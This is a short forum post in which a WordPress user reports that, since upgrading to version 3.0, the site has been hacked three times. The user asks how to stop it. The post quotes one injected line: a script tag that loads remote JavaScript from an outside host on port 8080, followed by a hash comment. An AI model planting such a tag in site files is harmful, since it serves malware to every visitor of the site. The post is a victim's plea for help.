Security problem since updating to 3.0

Hi everybody,

since I upgraded to 3.0, my wordpress has obviously been hacked or whatever 3 times now, everytime more or less in the same fashion and I don’t know what the problem is.

I’m not much of an expert in php so I can’t really find out, what causes this trouble and where the leak is.

The problem is that something adds code text to some of my php-files, some of which are even behind a .htaccess (in the wp_admin folder).
It affects index.php, default-widgets.php and all the other “default-*-php files”, as well as all .js file as well as all plugin files (such as wassup’s main.php) as well as pluggable.php

The code added usually looks something like:

<script type="text/javascript" src="http://solk.seamscreative.info:8080/Kbps.js"></script>
<!--8f553c76bcb37cf4772f81e10c97ad02-->

the URL however was different in all 3 events this occured. I fixed it everytime by reuploading all files which I had backuped after the 3.0 upgrade which are clean.

Does anyone have an idea, what I need to look for to prevent this in future or is it a security hole?

All the best
Robin